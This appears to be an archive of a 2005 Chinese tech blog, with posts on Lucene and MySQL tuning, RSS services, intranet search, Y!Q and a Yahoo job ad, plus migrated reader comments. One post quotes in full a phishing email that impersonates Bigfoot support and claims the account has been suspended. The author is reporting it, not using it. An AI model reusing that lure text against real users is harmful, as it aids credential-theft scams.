4年前的我在上高三，当时对911的感觉就是IT‘s a big thing。可能高考出题会出到，应该关系一下。

昨天没有时间写blog，就没来得及写911，这个对现在仍有深远影响的事件，不过令我纳闷的是其它人好像也都没写。

Ting · 2005-09-12 12:27

车东，你现在在网易么？我POPO：t828@163.com，加一下。

悠儿 · 2005-09-14 11:35

呵呵，四年前这个时候我还在上网,第一架飞机的图片看到的时候,以为是个普通的失事,遗憾了一下,结果等到第2架飞机又出事感觉不对了,但是说不上来,坦白的说,没有想到这是个恐怖事件.

当时记得不停的刷新浪的，看不到内容,只有一点点文字.之后日本的朋友传给了我们日本电台报道的图片,那种对新闻传播速度的体会,方有概念。

tv22 · 2005-09-15 15:09

那天我正在上网，还以为911是开玩笑

害人秋雨 · 2005-09-16 04:16

四年前的今天，偶在北大资源东楼一网吧里做服务生…. 累得要死，听见有人出去打电话向朋友说911事件，偶无动于衷，已经累得麻木了…

Rattystar · 2005-09-17 22:23

基于桌面搜索的站内全文检索解决方案

Fri, 09 Sep 2005 10:36:37 +0800

如果索引的文档主要是Word/PDF/静态网页等，在内部的公共文件服务器上使用Google的桌面搜索： http://in.tra.net:4664/ 然后在这台服务器上架设一台反相代理服务器，代理桌面搜索的服务端口，并对外提供服务：就成了自己的站内/intranet全文检索解决方案， http://in.tra.net:4664/ <==> http://in.tra.net/ <==> internet 可能需要在代理服务器上加入一些设置，将搜索出来的链接地址由本地地址改成发布地址。

类似的：将多台这样的桌面搜索服务器集群起来，还可以形成一个小型的分布式检索解决方案。X-Friend就是这样一款产品，内核也是Lucene(Java)全文引擎。

如果发布的内容存储在数据库中的话，就需要一定的开发了。Lucene引擎仍然是首选的解决方案：Blog全文引擎 www.grass.org.cn就是一个样例。其后台代码全部Open Source在sourceforge.net/projects/weblucene/

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fenng · 2005-09-09 12:58

似乎更难以控制的是隐私性问题

Andy · 2005-09-13 16:06

这个比较好玩,可编程,可定制: http://gdapi.sourceforge.net 另外,你分析过GDS的文件吗?

王建硕的15个[OR]

Thu, 08 Sep 2005 12:00:13 +0800

研究了一下王建硕的写作风格，发现他经常喜欢进行对比。在Google上查：intitle:“or” site:home.wangjianshuo.com 可以发现他在15篇文章(排除了重复的以后)标题中用到了“OR”。

他自己最满意的2篇分别是： Enjoy Doing [or] Being Able to Do <=这就是著名的《喜欢有之还是喜欢用之》英文原文 Dislike Doing [or] Starting to Do <=不喜欢还是不喜欢开始

更多还有：

Where to Study Chinese, Beijing [or] Shanghai? 哪里学中文：北京还是上海

孤独的人是可耻的: Continue [or] not…

Pudong [or] Puxi 浦东还是浦西

Mandarin [or] Shanghaiese?
普通话还是上海话

To Tip [or] Not to Tip ~~这个不懂……~~ 付小费还是不付

To Focus [or] Not? 专注还是不专注

Car [or] Bicycle? 汽车还是自行车

Sina, Sohu [or] Netease?

To Continue [or] Not? Confusing in China Blogsphere 继续还是放弃，中国blog圈的迷惑

Blog, to Host it [or] Not? BLOG 自己找服务器还是用别人的服务

《旅行的艺术》

Wed, 07 Sep 2005 15:45:19 +0800

上周见到王建硕的时候感觉他最近挺忙的，嘴角都有些上火。聊天的时候王建硕说他最近只看了一本书：并且向我们推荐: 《旅行的艺术》。当时建硕还记下的便签：要送我一本。书果然今天收到了：谢谢，一定遵从建硕的建议：从后往前看。

读后感陆续写在这里

书名让我想起了另外一句明言：To travel is to live …

2005-10-20 这是一部讲艺术的书

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fenng · 2005-09-07 20:40

有空的话也看看

Fermi · 2005-09-07 21:56

Alain De Botton的书还是看英文的好一点，他英文写的特棒。最近在看他的Kiss and Tell的说。

94smart · 2005-09-07 23:20

为什么要从后向前看？

我买了一本中文版的，最近正想看，正好试试。

史叶儒檀 · 2005-09-08 23:43

这本书真得很好吗？向各位大哥学习，也去CC

“你名字前面那朵小花是什么？”－未来最流行的个人信息门户可能是IM

Tue, 23 Aug 2005 13:39:09 +0800

今天从孟岩的MSN Spaces发现一个很好的创意：其实IM是一个非常好的个人门户入口。很奇怪为什么MSN Yahoo!为什么没有把IM的欢迎页做成一个个人门户：RSS中的Social Network特性和IM是一个非常好的结合点，因为网上认识的很多Blogger最后都会通过MSN SKYPE 雅虎通建立具体的联系，你用MSN加一个新认识的朋友和在BlogLines里加一个RSS FEED其实是很相似的行为。

简单，开放，标准化：RSS真是一个非常好的API，原先一直没能很好解决的不同的IM用户之间不互通问题，通过RSS算是解决了一点：如果可以在至少你可以在一个IM中看到所有其他IM朋友的RSS。我相信：只要有标准就一定会有工具将你所有的MSN用户的RSS导出成OPML，并方便的导入到其他的IM中。之前我一直觉得网站的在线订阅比独立的RSS阅读器是一个更好的入口，现在看来：作为客户端软件的IM适合做个人门户，不仅覆盖率高，又可以和已有的SN相结合。

对于高级用户来说：基于IM中的RSS订阅也许就是IM DIY的开始，但对于更多初级用户来说，他们可能还不知道什么是RSS，即使Add to My Yahoo!这样一键式的订阅服务对于他们来说可能也太复杂了，但MSN的Spaces服务和IM的集成还是让很多MSN用户说出了“你名字前面那朵小花是什么？”，这一步不就是让RSS普及的很好开始吗 :-) 让我们拭目以待吧…这不：Google也要推出IM了。

之前写过一篇评论：MSN Space vs. Yahoo! 360。当时感觉360缺省首页上的朋友圈BLOG聚合功能非常好，MSN新版本中也更加突出了spaces的更新提醒。其实个人门户解决的是这样一个简单的问题：我们的注意力是稀缺资源，虽然我们的信息来源是分散的：可能是很多新闻网站，很多人，很多关心的专业产品网站。原先的使用习惯是：我们每天能去的地方很少，我们会找一些大而全的网站作为自己门户，辅助一些邮件列表订阅。有了RSS后，我们可以更加个性化的定制自己的信息来源。在一个页面里：有趣的消息从朋友们那里源源不断滚过来的时候，感觉还是很方便的。

2005-09-13 今天又有用雅虎通7.0的朋友问我：你名字前面那个小星星是什么？

💬 历史评论

以下 8 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Meng Yan · 2005-08-23 14:54

就像我们讨论的那样，“简单，开放，标准化"的RSS使得这一切的聚合变的如此简单，不过这种简单也许并不是商业寡头愿意看到的。

我会试试My Yahoo去 :-)

Robin · 2005-08-23 17:17

从你这篇blog看来，msn的确走得较为靠前了。举个例子，当我check hotmail时看到页面上就有个offline的图标，虽然这个功能现在对我而言并没有什么用，但以后应该会有其他的发展；似乎有点将im嵌套在个人门户的意思，比较期待。

loverty · 2005-08-23 18:15

目前的IM对客户端依赖太严重，基于web的可能会更有成长潜力。QQ好像就在个人信息门户这方便使劲。

tinyfool · 2005-08-23 18:29

有启发，MSN因为MS自己强势品牌的问题，很难放下姿态集成其他bsp的rss，所以准备建议msnshell来做这个功能

火旗枪剑 · 2005-08-24 21:19

你被我贴在我的blog上面了， http://blog.donews.com/tcno/archive/2005/08/24/524735.aspx。

请参加怪僻游戏。

开始游戏的人出一个题目，在自己的blog上写下答案，然后把题目丢给另外五个人，在文末附上这五个人的连结，并且到这些人的留言版上留下：“哈哈！你被贴了。”(哈哈是我自己加的)。这五个被tag到的人，在自己的blog注明(并附上连结)是从哪一个blogger那里传来的题目(这时候“引用”功能就很好用)，然后写下答案，再去贴另外五个人。如此继续下去。

Meng Yan · 2005-08-26 10:07

MySQL性能瓶颈优化：学习一下圆珠笔是如何发明的

Fri, 19 Aug 2005 15:54:20 +0800

Hornbill Literary Essay：在十九世纪三十年代的欧洲大陆，一种方便，价廉的圆珠笔开始在书记员，银行职员甚至是富商中流行起来。制笔工厂开始大量的生产圆珠笔。不久却发现圆珠笔市场严重萎缩。原因是圆珠笔前端的钢珠在长时间的书写后，因摩擦而变小继而脱落导致笔筒内的油泄露出来。弄的满纸油啧，给书写工作带来了极大的不便。人们开始厌烦圆珠笔，从而不在用它了。

一些科学家和工厂的设计师们开始为了改变“笔筒漏油”这种状况进行了大量的工作。其中一个科学家做了大量的实验。他实验了上千种不同的材料来做笔前端的哪个“圆珠”，以求找到寿命最长的“圆珠”。但结果却不很理想。这时一个叫马塞尔比希的人却很好的将圆珠笔做了改善，解决了“漏油”的问题。他的成功是得益于他的一个想法。“既然不能将圆珠笔的寿命很好的延长，那为什么不主动的控制圆珠笔的寿命呢？他所做的工作只是在实验中找到一颗“钢珠”所能完成书写的“最大用油量”。然后每支笔所装的”“油”都不超过这个“最大用油量”。这样，方便，价廉又“卫生”的圆珠笔有成了人们最喜爱的书写工具之一。

如何解决复杂的问题： 1 寻找金刚钻：比如能有更长寿命的圆珠笔头“圆珠”：但这往往是目前大部分初创企业缺乏的核心技术； 2 改变问题本身，将大问题分解成已有成熟解决方案的小问题；

我经常被问到一个问题就是如何优化MySQL数据/Lucene全文索引的速度：其实，如果一个MySQL记录数量在10万以上，如果已经做了索引优化，那么应用速度也就没有什么潜力可挖了，唯一能作的就是将最经常被访问的数据缓存起来：将应用做成快/慢表机制。让用户很少访问大量的旧数据放在一个慢表里。将用户经常访问的新数据放在一个高速的快表（只有数百数千条记录）里：可以是一个限制数量的小数据库，可以是更简单的非数据结构（DBM/Hash/纯文本）来快速存取。

类似的Lucene全文索引也有类似问题：我发现索引的量超过500M以后，速度开始有用户能感受到的速度下降，唯一能做的就是控制数据量：将索引分布成多个，并尽可能利用内存FS做将索引文件缓存到内存里。

千万不要小看硬件对于产品的影响，开发人员脑子里也要常想着“摩尔定律”。内存数据在5年前可能还是一个奢侈的想法，但是随着内存成本的下降，很多原先复杂的问题都可以在内存中实现了使得速度大大提高。目前的大型搜索引擎就是分布式集群技术/内存数据库技术的集中体现。过2年闪存很有可能会接近于硬盘的成本，这又是一个变革的机遇。

另外开发人员考虑问题的一种惯性思维就是“关系化数据库”思维：数据库思维面向的是“精确”返回结果，但处理一个面向最终用户的百万级记录应用的时候，如果用户对于返回结果数量是10234还是10200已经不关心了，重要的就是将最好的TOP 10条结果以最快的速度返回给用户。

序列化是一个成本很高的事情，尤其是使用数据库，其实对于应用来说：能不用Oracle的就不用，可以用MySQL；能不用MySQL的就不用，用SQLite；能不用数据库的就不用数据库，用DBM/Hash，能不用DBM的就尽量不用DBM，用纯文本；能不序列化的就尽量不序列化：用内存。

如果你有一把好锤子而且很使用得很熟练了，那就尽可能将问题都变成钉子吧。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

六月幸福 · 2005-08-23 07:44

车东，我觉得，此文标题不对！

此文应该是讲“圆珠笔芯是如何发明的”，而不是圆珠笔最主要的组成那个圆珠和圆珠笔头是如何被人们想到这样设计的

ocde · 2005-09-14 09:41

有收获。 2个方法： 1，当一个问题在一个大范围中会成为一个大问题，那么缩小范围可以将问题缩小到最小。甚至忽略不计。 2，当你觉得一个问题是整个事件的关键的时候，那么这个关键dian一定有其他的一些问题制约。解决了其他问题，这个问题就应刃而解]

NewGator: 带反相连接统计的RSS订阅服务和Bloglines的成本分析

Fri, 05 Aug 2005 11:58:14 +0800

前2天BlogLines闹水管工的时候，尝试将BlogLines上的RSS书签通过OPML迁移到了NewsGator上：NewsGator的确有很多独到之处，通过汇总后的RSS，每篇BLOG都有反相连接(incoming link)的统计：

而每天被反相连接最多的文章就成了热点：

一些感受： 1 RSS订阅服务：有了OPML用户切换服务的成本很低； 2 Blogger的Ego Surfering的倾向很严重：也是对搜索引擎服务非常敏感的一群卢亮以前改造的支持中文的referrer.cgi在很短时间就部署在了BoSoo.com2万多个Blogger用户的网站上：其中来自搜索引擎的关键词来源分析非常有用，以至于后来BoSoo成为了专门用于搜索：搜索引擎referer关键词的搜索引擎。 3 估算一下RSS订阅服务所需要的技术：蜘蛛(Feed Crawler): BlogLines有2，3百万个FEED，要保持这些FEED的小时级同步更新，其FEED Cralwer的智能性/分布式是需要很多开发量的，最近不是有统计吗：真正更新频度较高的只占13%。存储： 5亿个文章(Entry)，平均每篇文章4k字节计算：存储就需要2000G=2T 索引和检索：RSS显示要保证速度FEED一定是在内存里进行检索和：200万FEED，每个FEED最新10条，每条记录4k 这样在内存中的FEED就需要2m * 10 * 4k = 80G 每台机器2G内存计算：通过动态缓存和分布设计，保证最常被订阅的top 20%速度足够快，可能用10台服务器做FEED缓存就够了。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

undersound · 2005-08-05 15:46

现在bloglines好了，速度很快你不使用lilina的吗

RSS订阅服务改变门户游戏规则

Fri, 29 Jul 2005 11:54:24 +0800

最近发现Google的个性化主页也加入了RSS订阅的支持：

前2天我听说BlogLines的内容量相当于Google索引量的1/4，昨天查了一下：确切的说法是6月份：Bloglines收录文章数量达到5了亿，目前Google的索引量约为80亿。 0.5 : 8 = 1 : 16

虽然各种搜索引擎的几十亿网页也只占整个互联网上不到5%的内容，但是相对于一个搜索引擎来说：这5亿RSS FEED中的内容却是相对质量较高的一批数据源。因此说BlogLines的索引量是Google的1/4也是有道理的（最重要的1/4）。

注释： BlogLines有多少RSS FEED：GrassLand目前的RSS FEED数量为3000个，文章数量为30万，按照这个比例：BlogLines上的FEED数量应该在百万级(WebLeon: bloglines的feed数量为248万)。

RSS订阅服务的确会改变了原有的门户竞争规则：来源丰富的个性化数据源克服了原先的个性化服务缺乏“个性化内容”的缺点。

如果一个门户知道了用户的搜索关键词，知道了用户订阅内容的偏好，知道了用户最近的点击喜好，针对用户行为的深入数据挖掘就可行了，而定向广告投放也变得更加有效。

说不定那天Add to My Google也会像Subscribe with BlogLines Add to My Y!一样铺天盖地。

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

loverty · 2005-07-29 12:04

5亿不是feed吧，全球site中有5亿的feed么？

Fenng · 2005-07-29 15:14

Add to My Google 肯定会风行一时的

WebLeOn · 2005-07-29 15:41

bloglines的feed数量为248万。

Google新界面吗？

Mon, 25 Jul 2005 18:46:27 +0800

[![](http://photos21.flickr.com/28234457_c9085c2a02_m.jpg)](http://www.flickr.com/photos/88055700@N00/28234457/) [google](http://www.flickr.com/photos/88055700@N00/28234457/)
Originally uploaded by AtlDucksKO23.

广告部分被加强了
最早从： slashdotcn.org/ 看到的

去年1月份还看到过一个搜索框居中的版本：最后也没有见到发布。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Hello · 2005-07-27 12:14

车东你好你的空间用的是name2host的吗？请问能不能看看您的空间的phpinfo? 我想申请空间,一直找不到支持rewrite的

笑容 · 2005-08-02 17:21

值得怀疑

[雅虎招聘] 搜索营销产品部 C++工程师

Mon, 25 Jul 2005 09:08:51 +0800

资深C++工程师

热爱技术，相信技术可以成为你的终身职业；

有6年以大型软件开发经验，有大型网站开发经验更好；

掌握面向对象设计开发方法，有 3 年以上C++语言开发经验；

勇于、善于在短时间内学习新技术新技能；

与团队协作、沟通能力很强；

能在极大压力下按时完成下达的开发任务；

熟悉大型软件开发流程，有一定的领导能力；

那么你加入Yahoo搜索营销平台技术部后：

做为高级工程师参与世界级产品研发，开发/维护服务亿次以上访问的广告发布引擎；

领导产品子项目的开发工作，管理有3-5名成员的团队；

作为团队的技术指导，帮助/带领团队克服技术上的各种难题，涉及海量数据存贮、数据挖掘、搜索引擎、分布式处理、人工智能、中文分词等领域；

享受在中国成长最快，最优秀的互联网公司工作的乐趣；

如果你希望在雅虎从事搜索引擎行业的工作和研究，请将简历（建议纯文本格式）寄到： [](mailto:chedongATgmail.com?subject=[Apply]: InputYourNameHere (from CheDong.com))

最后：记住最重要的是你要Play Hard! ![](http://cn.yimg.com/i/cn/yhr/pic2b.gif)

谢谢Isaac的提醒：如果你是Blogger：也欢迎直接Trackback Ping过来： http://www.chedong.com/cgi-bin/mt/mt-tb.cgi/574

顺便到GrassLand上查了一下：招聘，还真的有不少这方面的消息：blog服务应该这里能挖掘到更多有价值的机会。

2005-06-10 今天看到Jeremy的Tech Recruiting is Hard一文，深有同感。但是为了自己不成为这broken的一环，我还是要注意跟踪才行。也希望招聘过程中因为一些环节的延迟错过面试的朋友不要感到太遗憾。

💬 历史评论

以下 10 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

零度高烧.闪 · 2005-05-13 09:23

哈哈，可惜了我不会这方面的知识　！要不然我也来一个，我只会画画儿！

april · 2005-05-14 05:12

很有兴趣啊，不过好像职位描述和雅虎网页上的不太一样，为什么呢？再问一下车东，可以直接发英文简历吗？多谢！

tsing · 2005-05-14 10:11

请问需不需要兼职啊？

yezi · 2005-05-15 02:07

原来你是雅虎中国的。呵呵。

zhwang · 2005-05-19 11:33

在blog中加入Y!Q相关搜索

Sat, 23 Jul 2005 03:16:49 +0800

Yahoo!的Y!Q搜索服务从今年2月份推出后了，今天终于解决了JavaScript的escape导致的中文编码问题，其原理和很多Bookmarklet一样的。

Y!Q服务允许你将一段文字（而不是主题词）：直接提交给搜索引擎进行相似文章查找。这样会比自己提取主题词要方便很多，比如在blog（或者其他发布系统，我使用的是MT）中：可以设置以下代码将BLOG的标题做为“上下文”提交给搜索引擎。

代码如下：
" />

💬 历史评论

以下 6 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

大郎 · 2005-07-23 10:32

挺有意思，尝试下。

Fenng · 2005-07-23 21:12

速度似乎特别慢

asiapan · 2005-07-24 01:12

是个好东西啊，嘿嘿，拿来试用一下

songzhen · 2005-07-24 17:29

8错，我尝试一下~

haospoke · 2005-11-11 20:46

我使用了你所提供的代码,,不过怎么发现没有什么显示/?

需要一定的索引时间吗/? 还是怎么回事?

在blog中加入Y!Q相关搜索 · 2006-11-08 10:31

我使用了你所提供的代码,,不过怎么发现没有什么显示/?

需要一定的索引时间吗/? 还是怎么回事?

自动摘要/分类技术在CMS中的应用

Sun, 17 Jul 2005 22:26:21 +0800

卢亮最近忙什么呢？BLOG也很久没更新了。上周的一次小聚才了解到：原来他一直在准备自动类聚技术，利用自动类聚技术改进一些现有BLOG发布系统的关联机制： 1 文章的自动分类：实现类似于目前news.google.com首页那样的自动主题分类，目前初步规划是将内容分成10个大类，据说目前的精确度已经在95%以上； 2 相关文章功能：类似于很多门户网站新闻那样的相关新闻，不要小看每篇新闻中那后面几篇相关新闻：在没有全文索引机制之前，像新闻这样的发布系统管理的文章之间的关联是很少的（孤岛），所以每篇新闻的生命周期只有短短的2天（从首页上下去以后，除了用户主动搜索就很少有被再次访问到的机会了）。BLOG也是类似的问题，要知道：用户的注意力是稀缺资源，只有少数的BLOGGER的内容能得到足够的注意力/反馈，很多人开始BLOG后，都是由于无法得到足够的反馈而放弃了。BlogChina上每天上万的发布量，但是真正能被其他人看到的却是非常少的。而相关文章：无疑是一种增加内容之间相互联系/反馈很有效的机制。

更让我佩服的是卢亮的太太：明珠，她是目前这些应用的主要实现者。

tag.bokee.com是第一步，让用户自己定义TAG作为关键词，如果用户没有输入TAG，则利用自动主题提取机制将内容类聚在一起。这部分的应用在BlogChina每篇文章后面的“手拉手”模块中。而再下一步：可能就是类似于AdSense那样的上下文广告关联了吧，将所有的浏览行为都变成了一次隐含的搜索。根据我目前观察：TAG仍然是质量非常高的主题提取机制，毕竟经过人工编辑的文章主题还是非常明确的。

渴望“寻找到同类”是人的一种基本需求，如何在这个充满了“噪音”的世界中将内容相互之间更好地相互组织/引用起来的确是一件比较复杂的事情：不只是新闻网站的内部在想办法实现文章之间的相互引用/关联，只要稍微观察一下，你就可以发现其实更多实现“相关文章”引用机制的努力： BLOG的内部引用聚合 我使用的是MT的related entry plugin 安装方法查找一下MTRelatedEntriesByKeyword 需要在模板中加入：

相关文章:
"><$MTEntryTitle$> <$MTEntryDate format="%Y/%m/%d"$>

这个和很多新闻网站的发布机制类似：这个方式需要作者主动给每篇文章加入多个关键词实现文章和文章之间的多对多分类。 ![related_mt.png](http://www.chedong.com/blog/archives/related_mt.png)
BLOG的外部引用聚合： TrackBack 很多BLOG都允许外部引用者向自身发送引用通知（TrackBack ping），从而将“未知”引用者的能动态的聚合到自己的文章下面。

此外：基于第三方的“相关文章”实现： 通过TechnoRati的相关文章 很多blog之间通过TechnoRati的TAG登记进行主动聚合： Blogger之间通过一些特定关键词标记： iPod Gravity Chihuahua 将文章“登记”在TechnoRati服务器上，然后通过这些特定关键词的搜索：就能将各种特定的主题汇聚起来，为了搜索/聚合方便，Blogger之间还充分利用了：CamelWord造词机制，比较有名的：吾城十处通过这样的造词，对10placesofmycity相当于一次"10 places of my city"这样的短语检索，会比10 places of my city这样的全文检索更精确和方便实现：TAG检索其实是可以非常方便的通过传统数据库引擎实现的。

但是互联网大部分内容还是缺乏用户主动主题提取的，这时候Y!Q就是一个很方便的主题搜索工具(修正javascript escape()函数错误的版本很快就会发布了)。 基于Y!Q的主题搜索 Y!Q的原理是这样：网站自己不用自己提取每篇文章的主题关键词/TAG，只需将当前文章的部分段落文字，或者简单的将文章标题发送给Y!Q服务器，服务器从这些文字中自动提取主题，然后在全网中进行主题搜索。

相关文章引用机制的最重要的还是主题词的提取，我了解到的提取主题词主要有以下一些途径： 1 内容作者的编辑主动输入：这是缺点是不一定所有的人都有耐心提取主题/tag 我在MT中设置了自己输入关键词还是改了MT的缺省编辑模板才实现的 2 利用REFERER中的搜索引擎来源关键词统计：缺点，不一定所有的内容都能得到搜索来源，而且文章发表的时候无法得到关键词； 3 简单算法提取：从订阅的WSJ看：感觉就是提取标题中的头2，3个名词，看来标题还是非常重要的特征来源； 4 自动主题提取： 4.1 中文分词：分词是的基础，引申的人名/地名的识别也是需要加入一些特别的权重； 4.2 词频统计：排除噪音词，就是大部分文章中都会出现的高频词； 4.3 相似度分析(Likelihood)：相关文章机制的实现不仅要将相近主题的内容类聚起来，还要将几乎完全一样的内容排重。 5 结果分类：和分光棱镜一样的效果。

小结：基于自动摘要/分类的相关引用为CMS内部和CMS之间提供了一种内容自动发现机制，通过当前文章可以动态的发现更多其他的参考。从而实现：** 良好引用，良好结构，良好导航 Well organized, Well referenced, with easy navigation!**。

Beijing@Google.earth

Wed, 29 Jun 2005 23:02:31 +0800

[![](http://photos15.flickr.com/22240151_d30fe3b026_m.jpg)](http://www.flickr.com/photos/keso/22240151/) [googlemaps_beijing](http://www.flickr.com/photos/keso/22240151/)
Originally uploaded by keso.

有点君临天下的感觉吗？又被Google玩了一次颠覆游戏。
Google地图服务： maps.google.com/

用质数命名的网站：(43things+43folders) * 37Signals / 23People

Tue, 28 Jun 2005 23:31:57 +0800

根据我的了解：43things的创建者只是想找一个小于50的质数：而且43folders和43things没有任何关系。 In fact, the coincidences continue because 43 Things was also inspired to some degree by Dave Allen – but the idea for 43 only entered on a subliminal level. We considered 23 and 37 as well as well as 43 – we just wanted a prime number less than 50, and settled on 43 as the right number of things to try and do.

We registered the url and set to work building out our company with no idea of any 43 meme. Anyway, if 43 ends up meaning smart, fun and useful – like 411 means info – maybe it will all work out for the best.

"i googlebot"：FlickR是一个很好用的图片搜索引擎

Mon, 27 Jun 2005 21:32:26 +0800

[![](http://photos10.flickr.com/11366558_6fb57bfd04_m.jpg)](http://www.flickr.com/photos/telendro/11366558/) [google-googlebot](http://www.flickr.com/photos/telendro/11366558/)
Originally uploaded by Telendro.

这张图由于googleblog在国内无法访问，我在几个搜索引擎的图片搜索上：用"googlebot"这个关键词都没有找到，在FLICKR上用tag找到了，真的是又准又好。
这篇日志是在FlickR上书写的，真是Publish anywhere啊……

附：到googleblog.blogspot.com 的mtr记录

My traceroute [v0.65] grassland (0.0.0.0)(tos=0x0 psize=64 bitpattern=0x00) Mon Jun 27 23:50:00 2005 Resolver: Received error response 2. (server failure)er of fields quit Packets Pings Host Loss% Snt Last Avg Best Wrst StDev 1. 211.152.33.1 0.0% 510 0.7 0.9 0.6 10.2 1.2 2. 211.152.63.33 0.0% 510 0.4 0.4 0.4 4.4 0.4 3. 211.152.63.42 0.0% 510 0.9 0.7 0.5 4.5 0.6 4. 61.152.87.161 0.0% 510 1.0 1.7 0.8 41.3 4.3 5. 61.152.81.85 0.0% 510 1.0 8.8 0.8 199.2 28.8 6. 202.101.63.242 0.0% 510 1.0 7.5 0.9 209.2 26.8 7. 202.97.37.50 0.0% 509 39.1 6.7 0.9 197.2 23.2 8. ???

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

luene.apache.org: Lucene成为Apache顶级项目

Sun, 26 Jun 2005 01:33:46 +0800

订阅Lucene开发邮件列表的朋友已经感觉了一次邮件轰炸：约有700封来自Lucene相关的Bugzilla的相关更新。仔细一看原来是邮件列表的地址由原先的：lucene-dev@jakarta.apache.org 改成了： java-dev@lucene.apache.org

Lucene在年初（2005-02）成为Apache的顶级项目：luene.apache.org。而做为原先蜘蛛和分布式引擎的Nutch于本月(2005-06)初也做为子项目之一加入Lucene：lucene.apache.org/nutch/ 并列的有原先基于java的Lucene和基于C实现的Lucene这2个项目。

回顾一下Lucene的历史：无一不说明全文搜索服务做为网络基础服务得到越来越多的重视。

从CHANGES.txt看：Lucene成为Apache项目是2001年的十月份。 1.2 RC1 (first Apache release), 2 October 2001:

packages renamed from com.lucene to org.apache.lucene

license switched from LGPL to Apache

希望有更多的中文开发者能主动参与Lucene的开发：从我的经验来看，即使主动参与，很多代码都不一定能很快被Lucene的主干所接受，往往需要在SandBox中考察很长一段时间。而谁参与的更多：谁的需求就有可能更早被实现/改进，中文方面的需求是必须由中文开发者自己加以努力才能改进的。

2005-06-26 You guys have a ton of bugs in Bugzilla that are sitting in RESOLVED:

http://issues.apache.org/bugzilla/buglist.cgi?product=Lucene&bug_status=RESOLVED

I suspect most of them could easily be closed.

The mailbomb that arrived a little while ago was the ownership change of all bugs assigned to lucene-dev@jakarta.apache.org, to java-dev@lucene.apache.org per request from Otis Gospodnetic. I only changed the ownership of open bugs.

RSS的在线订阅服务：从订阅中发现社交网络

Sat, 25 Jun 2005 23:46:38 +0800

今天看到：WebLeOn’s Blog: Longhorn拥抱RSS，之前层出不穷的客户端RSS订阅工具要小心了，“缺省”威力目前还是很大的。相比之下我感觉在线的RSS订阅无疑会成为以后更有前景的模式。BlogLines就是目前人气较高的RSS在线订阅服务之一。我使用BlogLines比较少，BlogLines缺省的按照作者分类的RSS阅读模式效率不高，还是更习惯根据时间倒排的新闻流水，所以一直尝试着使用Lilina每天生成一份RSS报纸。但除此之外：还是能感受到BlogLines这种中心化服务的一些优势：很容易从订阅关系中发现RSS的热门程度和帮助订阅者之间产生更多的交流互动。要知道，目前很多BlogLines的用户本身也是blog的作者：那么让你看到自己的RSS被多少人订阅了无疑是满足了他们的EgoSurfing的需要（FeedBurner也有类似的RSS订阅计数器功能）：如果订阅者的RSS书签是公开发布的：那么你还能看到具体的订阅者是谁，从而找到更多的“同好”：很难想像，居然还有人订阅了我的del.icio.us。类似于del.icio.us中：发现和你收藏相同URL的其他用户的功能。

仔细用用Bloglines还能发现更多的有用的功能：比如发布blog，订阅天气预报啦之类的。虽然中心化服务有些危险： Bloglines提供了符合OPML规范的RSS书签的导入/导出功能，我试了一下，能够和Lilina的书签互换。但是从另外好的一方面说：和FeedBurner一样，BlogLines的RSS订阅可以帮助你看到从国内访问有些路由阻尼的网站：比如GoogleBlog。

2005-06-26 关于去中心化：如何搭建一个类似于BlogLines的服务呢？我自己尝试使用Lilina实际上也是在尝试搭建一个BlogLines类似服务所需要的技术准备，目前体会到的有以下几点： 1 缓存机制：缓存机制可以大大降低对于RSS发布源的负载； 2 RSS纠错/容错机制：很多RSS甚至不是严格的XML，而时间戳问题可能是一个非常普遍的问题。 3 动态更新机制：由于大部分RSS的更新并不是很频繁，所以如何智能一些的动态调整RSS同步周期也是需要考虑的：比如可以按照某个最新5篇内容的平均间隔做为RSS的更新频度。 4 RSS的死链检查：很多国内BSP的RSS发布地址不是很稳定，当服务升级后，如何能动态的升级到新的RSS发布地址？

在开发RSS搜索引擎也遇到了RSS数据源的发现问题：靠机器抓取需要增加的识别比较麻烦，而且也很难看出每个RSS的重要程度，如果有一个BlogLines一样的社群帮助动态发现/排序，无疑会是一种非常好的补充。

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

花夫子 · 2005-06-26 08:08

车东你好

我对博客林（Bloglines）有这样看法，它会成为BLOG世界的GOOGLE。不过，我欢迎这样的，去中心化不应该成为一种僵硬的思想观念，至少在互联网为我们提供无数选择的趋势下，这种担心甚至有些过头了。以至于我们忘了为什么一定要去中心化的宗旨。

大郎 · 2005-06-26 14:34

从订阅中发现社交网络从车东的这句话里我感觉有很有意思的东西.

如果考虑到一些社交网络的建设问题,不然发现有很多的东西可做: 如何让站内用户更好地关联? 这是一个问题.

就像车东说的,良好导航. “良好引用，良好结构，良好导航”,车东的这句话一直影响着我的任何思考和工作. :)

sam liang · 2006-07-17 12:41

从订阅中发现社交网络如何让站内用户更好地关联? 有空见面聊？

IDG互联网老兵

伪装成Bigfoot系统管理员的病毒邮件

Wed, 22 Jun 2005 21:36:30 +0800

最近我的雅虎邮箱（bigfoot邮箱的转发地址）总是收到bigfoot的服务警告：

Dear Bigfoot Member,

We have temporarily suspended your email account chedong@bigfoot.com.

This might be due to either of the following reasons:

A recent change in your personal information (i.e. change of address).

Submiting invalid information during the initial sign up process.

An innability to accurately verify your selected option of subscription due to an internal error within our processors. See the details to reactivate your Bigfoot account.

Sincerely,The Bigfoot Support Team

[MT2WP] 从MovableType迁移到WordPress笔记

Sun, 19 Jun 2005 22:06:01 +0800

MovableType+TWiki是一对经典的基于Perl的企业级内容管理方案，能应付较高的访问量； WordPress+MediaWiki则是另外一组基于PHP的组合拳：有着非常平滑的学习曲线，非常适合中小型项目；隐约能够感觉到WordPress的成熟度也越来越高了，最近发现而新建的blog网站使用WP系统的非常多，而且很多blogger都在考虑迁移中。

